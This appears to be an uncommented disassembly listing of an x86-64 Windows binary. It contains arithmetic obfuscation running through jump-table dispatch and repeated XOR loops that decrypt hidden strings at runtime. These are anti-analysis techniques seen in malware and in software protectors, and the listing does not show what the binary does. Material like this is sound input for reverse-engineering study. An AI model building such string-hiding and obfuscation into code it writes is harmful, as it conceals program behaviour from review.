sub r11b, 0x7a
jmp 0x140176f65
lea rcx, [r9 + 2]
cmp r8, rcx
jae 0x140176bd0
movabs rdx, 0x19e1c75bae13eabd
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x2b
jmp 0x1401769e4
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140176c0e
movabs rcx, 0x3f0ab50a8f448302
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xe
movzx eax, byte [rbp + rbx + 0x840]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140176423
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140176c40
movabs rdx, 0xa691d27947942df6
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x23
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140177046
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140176c6e
movabs rcx, 0xe18efe7ffe3d8ea
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x66
jmp 0x140177009
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1401769e7
movabs rcx, 0xa9639c0e145b5958
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x68
inc r9
dec rbx
inc rbx
jmp 0x140176423
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140176cd7
movabs rdx, 0x5e900f8fd6e6c483
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x6b
jmp 0x140176f65
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140176d0a
movabs rcx, 0xc6172cfe8f366f77
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x41
dec rbx
inc rbx
jmp 0x140176423
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140176d38
movabs rdx, 0xf9dabbb5eb5e44f1
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x69
jmp 0x140176fba
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140176987
movabs rdx, 0x952567dbffd5c55f
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x67
add r11b, dl
jmp 0x140177046
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140176dac
movabs rcx, 0x7e156a151e890604
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x1c
movzx eax, byte [rbp + rbx + 0x840]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140176423
inc rax
cmp r8, rax
jne 0x140176ddc
movabs rdx, 0xb1d8f8cc7ab0db7e
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x72
add r11b, dl
jmp 0x140177079
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140176e0b
movabs rdx, 0x80e733a9eb503166
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x1b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140176fba
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140176934
movabs rcx, 0xb4aac261477806e0
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x20
dec rbx
inc rbx
jmp 0x140176423
movabs rdx, 0x83b8fd3eb8175cc8
add rdx, rbx
movzx eax, dl
and al, r10b
add al, al
movzx r11d, byte [rbp + rbx + 0x840]
sub r11b, al
sub r11b, 0x78
add r11b, dl
add r11b, r10b
jmp 0x140176fbd
movabs rdx, 0xb77c8bf6143f3242
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x19
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rbx + 0x840]
add r11b, r10b
add r11b, dl
jmp 0x140177046
movabs rcx, 0xbda1d04028e0ed51
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x37
jmp 0x140177079
movabs rcx, 0x2257241a14696ce3
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x35
jmp 0x140177009
movabs rcx, 0xbad006ab5c19c1ef
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x77
dec rbx
inc rbx
jmp 0x140176423
movabs rcx, 0x870c77f3fff1ec75
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x33
inc r9
dec rbx
inc rbx
jmp 0x140176423
movabs rdx, 0x5348e93ca3ca16fb
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x23
add r11b, dl
movabs rcx, 0x69d735e30a03720b
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x4d
add cl, r10b
mov byte [rbp + rbx + 0x840], cl
inc r9
dec rbx
inc rbx
jmp 0x140176423
movabs rdx, 0x50771fa7d702eb99
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x2f
add r11b, dl
movabs rcx, 0x9d9ac49a662b4785
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
add r10b, 0x5d
add r10b, r11b
add r10b, cl
mov byte [rbp + rbx + 0x840], r10b
jmp 0x140177009
movabs rcx, 0x1cb390f07adb161f
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x27
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140176423
mov r10, rdx
movabs rcx, 0xb52c7381c28b6b2b
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x2d
movabs rdx, 0xd15e5351c2531cff
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, 7
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x840], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0xeb401aad706707bc
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x24
add cl, r10b
mov byte [rbp + rbx + 0x840], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x840]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140176423
movabs rcx, 0x4da556130a3bc037
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0x7f
movzx eax, byte [rbp + rbx + 0x840]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140176423
movabs rcx, 0x724c92a17058f431
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x57
jmp 0x14017641e
movabs rcx, 0x3e8903ea14311eb7
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
dec r11b
jmp 0x140176406
lea rdx, [rbp + 0x161bf3c]
lea rcx, [rbp + 0x1110]
call fcn.14013a940
jmp 0x14017722c
lea rdx, [rbp + 0x135a9f9]
lea rcx, [rbp + 0x1110]
call fcn.14013a940
jmp 0x14017722c
lea rdx, [rbp + 0x840]
lea rcx, [rbp + 0x1110]
call fcn.14013a940
jmp 0x14017722c
lea rdx, [rbp + 0x1130]
lea rcx, [rbp + 0xc0]
call fcn.1401ee3f0
nop
mov rcx, rax
call fcn.14013ecb0
mov rdx, rax
lea rcx, [rbp + 0x1150]
call fcn.14013e790
nop
lea rcx, [rbp + 0x1130]
call fcn.14013ec20
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x1150]
call fcn.14014cf70
mov rbx, qword [rax]
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x1150]
call fcn.14014cf90
lea r9, [rbp - 0x6e]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x1170]
call fcn.14014d2c0
lea rdx, [rbp + 0x1170]
lea rcx, [rbp + 0x1110]
call fcn.140135e80
lea rcx, [rbp + 0x1170]
call fcn.1401362c0
nop
lea rcx, [rbp + 0x1150]
call fcn.14013ec20
nop
mov rcx, qword [rbp + 0x438]
test rcx, rcx
je 0x14017723e
call fcn.140156840
nop
lea rcx, [rbp + 0x420]
call fcn.140157830
nop
lea rcx, [rbp + 0x10b0]
call fcn.14013ec20
nop
lea rcx, [rbp + 0xc0]
call fcn.14015c880
nop
mov rcx, r14
call fcn.1401362c0
nop
xor edx, edx
lea rcx, [rbp + 0xff0]
call fcn.14014d2a0
xor r9d, r9d
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x26b0]
call fcn.1401a1cd0
nop
lea rcx, [rbp + 0x1110]
call fcn.140135dc0
mov qword [rbp + 0x4a0], rax
mov qword [rbp + 0x4a8], rax
lea rdx, [rbp + 0x4a0]
lea rcx, [rbp + 0x26b0]
call fcn.1401b56a0
mov eax, dword [str.FBXJ:]
mov dword [rbp + 0x6c], eax
movzx eax, word [0x140448434]
mov word [rbp + 0x70], ax
mov r8d, edi
lea r9, [rbp + 0x6c]
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 6
jl 0x1401772e0
lea rdx, [rbp + 0x6c]
lea rcx, [rbp + 0x26b0]
call fcn.1401a2090
test al, al
je 0x1401a1680
cmp byte [rbp + 0x71], 0
je 0x140177372
mov r8d, edi
lea r9, [rbp + 0x6c]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 6
jl 0x140177340
lea rdx, [rbp + 0x6c]
lea rcx, [rbp + 0x26b0]
call fcn.1401a7f80
cmp word [rax + 0xe], 3
jne 0x1401a1680
cmp byte [rbp + 0x71], 0
je 0x1401773d2
mov r8d, edi
lea r9, [rbp + 0x6c]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 6
jl 0x1401773a0
lea rdx, [rbp + 0x6c]
lea rcx, [rbp + 0x26b0]
call fcn.1401a7f80
mov rbx, rax
mov qword [rsp + 0x68], rax
movsd xmm0, qword [str.XSYMfYTPRL_]
movsd qword [rbp + 0x2f0], xmm0
movzx eax, word [0x140448a88]
mov word [rbp + 0x2f8], ax
movzx eax, byte [0x140448a8a]
mov byte [rbp + 0x2fa], al
mov r8d, edi
lea r9, [rbp + 0x2f0]
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xb
jl 0x140177420
lea rdx, [rbp + 0x2f0]
mov rcx, rbx
call fcn.1401a2090
test al, al
je 0x1401a15de
cmp byte [rbp + 0x2fa], 0
je 0x1401774b2
mov r8d, edi
lea r9, [rbp + 0x2f0]
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xb
jl 0x140177480
lea rdx, [rbp + 0x2f0]
mov rcx, rbx
call fcn.1401a7f80
test r13b, r13b
mov r13d, dword [rbp]
cmove r13d, dword [rax]
mov qword [rbp + 0x2f0], rdi
mov word [rbp + 0x2f8], di
mov byte [rbp + 0x2fa], dil
mov eax, dword [str._A9]
mov dword [rbp + 0x54], eax
movzx eax, byte [0x140448da8]
mov byte [rbp + 0x58], al
mov eax, dword [str.SN8XWYM__XHHLZ2A]
mov dword [rbp + 0x50], eax
mov rax, qword [str.PXTgR_B_P7E_]
mov qword [rbp + 0x100], rax
mov eax, dword [str.P_VQU:]
mov dword [rbp + 0x5c], eax
movzx eax, word [0x140448d88]
mov word [rbp + 0x60], ax
movsd xmm0, qword [str.EWDKNUIX]
movsd qword [rbp + 0x280], xmm0
movzx eax, byte [0x140448698]
mov byte [rbp + 0x288], al
mov eax, dword [str.VRYM:]
mov dword [rbp + 0x64], eax
movzx eax, word [0x1404480e4]
mov word [rbp + 0x68], ax
call fcn.140167390
movzx edx, byte [rbp + 0x5d00]
lea rcx, [rbp + 0x1190]
call fcn.140136a10
nop
xor r8d, r8d
lea rdx, [0x140443ec3]
lea rcx, [rbp + 0x1190]
call fcn.14013ab10
nop
xor r9d, r9d
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x2710]
call fcn.1401a1cd0
nop
lea rcx, [rbp + 0x2710]
call fcn.1401a2120
mov rsi, qword [rbp + 0x2720]
mov edx, 0x20
lea rcx, [rbp + 0x11b0]
call fcn.140143c40
nop
test r12b, r12b
je 0x140177c6b
lea rcx, [rbp + 0x4b0]
call fcn.1401a21a0
mov rdi, rax
lea rcx, [rbp + 0xe90]
call fcn.140135db0
mov rbx, rax
lea rcx, [rbp + 0xe90]
call fcn.140135dc0
mov r9, rsi
mov r8d, ebx
mov rdx, rax
mov rcx, rdi
call fcn.1401a1dc0
mov rbx, rax
xor r14d, r14d
cmp byte [rbp + 0x53], r14b
je 0x140177652
mov r8d, r14d
lea r9, [rbp + 0x50]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140177620
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x4c0]
call fcn.1401a8030
mov r9, rsi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2710]
call fcn.1401a1fa0
nop
lea rcx, [rbp + 0x4b0]
call fcn.140135de0
lea rcx, [rbp + 0x4d0]
call fcn.1401a21a0
mov rdi, rax
lea rcx, [rbp + 0xf30]
call fcn.140135db0
mov rbx, rax
lea rcx, [rbp + 0xf30]
call fcn.140135dc0
mov r9, rsi
mov r8d, ebx
mov rdx, rax
mov rcx, rdi
call fcn.1401a1dc0
mov rbx, rax
cmp byte [rbp + 0x61], 0
je 0x140177702
mov r8d, r14d
lea r9, [rbp + 0x5c]
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 6
jl 0x1401776d0
lea rdx, [rbp + 0x5c]
lea rcx, [rbp + 0x4e0]
call fcn.1401a8030
mov r9, rsi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2710]
call fcn.1401a1fa0
nop
lea rcx, [rbp + 0x4d0]
call fcn.140135de0
lea rcx, [rbp + 0x4f0]
call fcn.1401a21a0
mov rdi, rax
lea rcx, [rbp + 0xf50]
call fcn.140135db0
mov rbx, rax
lea rcx, [rbp + 0xf50]
call fcn.140135dc0
mov r9, rsi
mov r8d, ebx
mov rdx, rax
mov rcx, rdi
call fcn.1401a1dc0
mov rbx, rax
cmp byte [rbp + 0x288], 0
je 0x1401777c2
mov r8d, r14d
lea r9, [rbp + 0x280]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 9
jl 0x140177790
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x500]
call fcn.1401a8030
mov r9, rsi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2710]
call fcn.1401a1fa0
nop
lea rcx, [rbp + 0x4f0]
call fcn.140135de0
lea rcx, [rbp + 0x510]
call fcn.1401a21a0
nop
mov edx, dword [rbp - 0x18]
mov rcx, rax
call fcn.1401a1e80
mov rbx, rax
cmp byte [rbp + 0x71], 0
je 0x140177852
mov r8d, r14d
lea r9, [rbp + 0x6c]
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 6
jl 0x140177820
lea rdx, [rbp + 0x6c]
lea rcx, [rbp + 0x520]
call fcn.1401a8030
mov r9, rsi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2710]
call fcn.1401a1fa0
nop
lea rcx, [rbp + 0x510]
call fcn.140135de0
lea rcx, [rbp + 0x530]
call fcn.1401a21a0
nop
mov edx, dword [rbp - 0x80]
mov rcx, rax
call fcn.1401a1e80
mov rbx, rax
cmp byte [rbp + 0x69], 0
je 0x1401778e2
mov r8d, r14d
lea r9, [rbp + 0x64]
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 6
jl 0x1401778b0
lea rdx, [rbp + 0x64]
lea rcx, [rbp + 0x540]
call fcn.1401a8030
mov r9, rsi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2710]
call fcn.1401a1fa0
nop
lea rcx, [rbp + 0x530]
call fcn.140135de0
mov rdx, r15
lea rcx, [rbp + 0xfd0]
call fcn.1401a7310
test al, al
jne 0x1401779ed
lea rcx, [rbp + 0xfd0]
call fcn.1401a3560
test al, al
jne 0x1401779ed
xor r9d, r9d
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x2770]
call fcn.1401a1cd0
nop
lea rcx, [rbp + 0xfd0]
call fcn.140135dc0
mov rdx, rax
lea rcx, [rbp + 0x2770]
call fcn.1401a1bd0
cmp byte [rbp + 0x58], 0
je 0x1401779b2
mov r8d, r14d
lea r9, [rbp + 0x54]
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 5
jl 0x140177980
lea rdx, [rbp + 0x54]
lea rcx, [rbp + 0x550]
call fcn.1401a8030
mov rdx, rax
mov r9, rsi
lea r8, [rbp + 0x2770]
lea rcx, [rbp + 0x2710]
call fcn.1401a1fa0
nop
lea rcx, [rbp + 0x2770]
call fcn.1401a1bf0
jmp 0x140177aa4
lea rcx, [rbp + 0x560]
call fcn.1401a21a0
mov rdi, rax
lea rcx, [rbp + 0xfd0]
call fcn.140135db0
mov rbx, rax
lea rcx, [rbp + 0xfd0]
call fcn.140135dc0
mov r9, rsi
mov r8d, ebx
mov rdx, rax
mov rcx, rdi
call fcn.1401a1dc0
mov rbx, rax
cmp byte [rbp + 0x58], 0
je 0x140177a72
mov r8d, r14d
lea r9, [rbp + 0x54]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 5
jl 0x140177a40
lea rdx, [rbp + 0x54]
lea rcx, [rbp + 0x570]
call fcn.1401a8030
mov r9, rsi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2710]
call fcn.1401a1fa0
nop
lea rcx, [rbp + 0x560]
call fcn.140135de0
lea rcx, [rbp + 0x580]
call fcn.1401a21a0
mov rdi, rax
lea rcx, [rbp + 0x11b0]
call fcn.140135db0
mov rbx, rax
lea rcx, [rbp + 0x11b0]
call fcn.140135dc0
mov r9, rsi
mov r8d, ebx
mov rdx, rax
mov rcx, rdi
call fcn.1401a1dc0
mov rbx, rax
cmp byte [rbp + 0x107], 0
je 0x140177b32
mov r8d, r14d
lea r10, [rbp + 0x100]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r10], cl
inc r8d
lea r10, [r10 + 1]
cmp r8d, 8
jl 0x140177b00
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x590]
call fcn.1401a8030
mov r9, rsi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2710]
call fcn.1401a1fa0
nop
lea rcx, [rbp + 0x580]
call fcn.140135de0
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp + 0x2390]
call fcn.1401a2240
nop
mov r9d, 0x20
xor r8d, r8d
lea rdx, [rbp + 0x2390]
lea rcx, [rbp + 0x24f0]
call fcn.1401a21d0
nop
lea rdx, [rbp + 0x24f0]
lea rcx, [rbp + 0x2710]
call fcn.1401a74e0
test al, al
je 0x140177c52
lea rcx, [rbp + 0x2390]
call fcn.1401a2200
mov rdx, rax
lea rcx, [rbp + 0x1190]
call fcn.1401428f0
lea rcx, [rbp + 0x1190]
call fcn.140135db0
mov rbx, rax
lea rcx, [rbp + 0x1190]
call fcn.140135dc0
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x9a8]
call fcn.140137370
nop
mov rdx, rax
lea rcx, [rbp + 0x11d0]
call fcn.14013a2c0
nop
mov rdx, rax
lea rcx, [rbp + 0x11f0]
call fcn.14013a6e0
mov rdx, rax
lea rcx, [rbp + 0x1190]
call fcn.140135df0
lea rcx, [rbp + 0x11f0]
call fcn.140135dd0
nop
lea rcx, [rbp + 0x11d0]
call fcn.140135dd0
nop
lea rcx, [rbp + 0x9a8]
call fcn.140135c60
nop
lea rcx, [rbp + 0x24f0]
call fcn.14016fed0
nop
lea rcx, [rbp + 0x2390]
jmp 0x140178076
lea rcx, [rbp + 0x5a0]
call fcn.1401a21a0
mov rdi, rax
lea rcx, [rbp + 0xe90]
call fcn.140135db0
mov rbx, rax
lea rcx, [rbp + 0xe90]
call fcn.140135dc0
mov r9, rsi
mov r8d, ebx
mov rdx, rax
mov rcx, rdi
call fcn.1401a1dc0
mov rbx, rax
xor r14d, r14d
cmp byte [rbp + 0x53], r14b
je 0x140177cf2
mov r8d, r14d
lea r9, [rbp + 0x50]
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140177cc0
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x5b0]
call fcn.1401a8030
mov r9, rsi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2710]
call fcn.1401a1fa0
nop
lea rcx, [rbp + 0x5a0]
call fcn.140135de0
mov rdx, r15
lea rcx, [rbp + 0xfd0]
call fcn.1401a7310
test al, al
jne 0x140177dfd
lea rcx, [rbp + 0xfd0]
call fcn.1401a3560
test al, al
jne 0x140177dfd
xor r9d, r9d
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x27d0]
call fcn.1401a1cd0
nop
lea rcx, [rbp + 0xfd0]
call fcn.140135dc0
mov rdx, rax
lea rcx, [rbp + 0x27d0]
call fcn.1401a1bd0
cmp byte [rbp + 0x58], 0
je 0x140177dc2
mov r8d, r14d
lea r9, [rbp + 0x54]
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 5
jl 0x140177d90
lea rdx, [rbp + 0x54]
lea rcx, [rbp + 0x5c0]
call fcn.1401a8030
mov rdx, rax
mov r9, rsi
lea r8, [rbp + 0x27d0]
lea rcx, [rbp + 0x2710]
call fcn.1401a1fa0
nop
lea rcx, [rbp + 0x27d0]
call fcn.1401a1bf0
jmp 0x140177eb4
lea rcx, [rbp + 0x5d0]
call fcn.1401a21a0
mov rdi, rax
lea rcx, [rbp + 0xfd0]
call fcn.140135db0
mov rbx, rax
lea rcx, [rbp + 0xfd0]
call fcn.140135dc0
mov r9, rsi
mov r8d, ebx
mov rdx, rax
mov rcx, rdi
call fcn.1401a1dc0
mov rbx, rax
cmp byte [rbp + 0x58], 0
je 0x140177e82
mov r8d, r14d
lea r9, [rbp + 0x54]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 5
jl 0x140177e50
lea rdx, [rbp + 0x54]
lea rcx, [rbp + 0x5e0]
call fcn.1401a8030
mov r9, rsi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2710]
call fcn.1401a1fa0
nop
lea rcx, [rbp + 0x5d0]
call fcn.140135de0
lea rcx, [rbp + 0x5f0]
call fcn.1401a21a0
mov rdi, rax
lea rcx, [rbp + 0x11b0]
call fcn.140135db0
mov rbx, rax
lea rcx, [rbp + 0x11b0]
call fcn.140135dc0
mov r9, rsi
mov r8d, ebx
mov rdx, rax
mov rcx, rdi
call fcn.1401a1dc0
mov rbx, rax
cmp byte [rbp + 0x107], 0
je 0x140177f42
mov r8d, r14d
lea r9, [rbp + 0x100]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140177f10
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x600]
call fcn.1401a8030
mov r9, rsi
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2710]
call fcn.1401a1fa0
nop
lea rcx, [rbp + 0x5f0]
call fcn.140135de0
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp + 0x23c0]
call fcn.1401a2240
nop
mov r9d, 0x20
xor r8d, r8d
lea rdx, [rbp + 0x23c0]
lea rcx, [rbp + 0x2530]
call fcn.1401a21d0
nop
lea rdx, [rbp + 0x2530]
lea rcx, [rbp + 0x2710]
call fcn.1401a74e0
test al, al
je 0x140178062
lea rcx, [rbp + 0x23c0]
call fcn.1401a2200
mov rdx, rax
lea rcx, [rbp + 0x1190]
call fcn.1401428f0
lea rcx, [rbp + 0x1190]
call fcn.140135db0
mov rbx, rax
lea rcx, [rbp + 0x1190]
call fcn.140135dc0
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x9c0]
call fcn.140137370
nop
mov rdx, rax
lea rcx, [rbp + 0x1210]
call fcn.14013a2c0
nop
mov rdx, rax
lea rcx, [rbp + 0x1230]
call fcn.14013a6e0
mov rdx, rax
lea rcx, [rbp + 0x1190]
call fcn.140135df0
lea rcx, [rbp + 0x1230]
call fcn.140135dd0
nop
lea rcx, [rbp + 0x1210]
call fcn.140135dd0
nop
lea rcx, [rbp + 0x9c0]
call fcn.140135c60
nop
lea rcx, [rbp + 0x2530]
call fcn.14016fed0
nop
lea rcx, [rbp + 0x23c0]
call fcn.14016fea0
xor r12d, r12d
mov dword [rbp + 0x54], r12d
mov byte [rbp + 0x58], r12b
mov dword [rbp + 0x50], r12d
mov qword [rbp + 0x100], r12
mov dword [rbp + 0x5c], r12d
mov word [rbp + 0x60], r12w
mov qword [rbp + 0x280], r12
mov byte [rbp + 0x288], r12b
mov dword [rbp + 0x6c], r12d
mov word [rbp + 0x70], r12w
mov dword [rbp + 0x64], r12d
mov word [rbp + 0x68], r12w
lea rcx, [rbp + 0x108]
call fcn.1401eb7c0
nop
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x1190]
call fcn.14013e7d0
mov rbx, qword [rax]
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0x1190]
call fcn.14013e7f0
lea r9, [rbp - 0x6d]
mov r8, rbx
mov rdx, qword [rax]
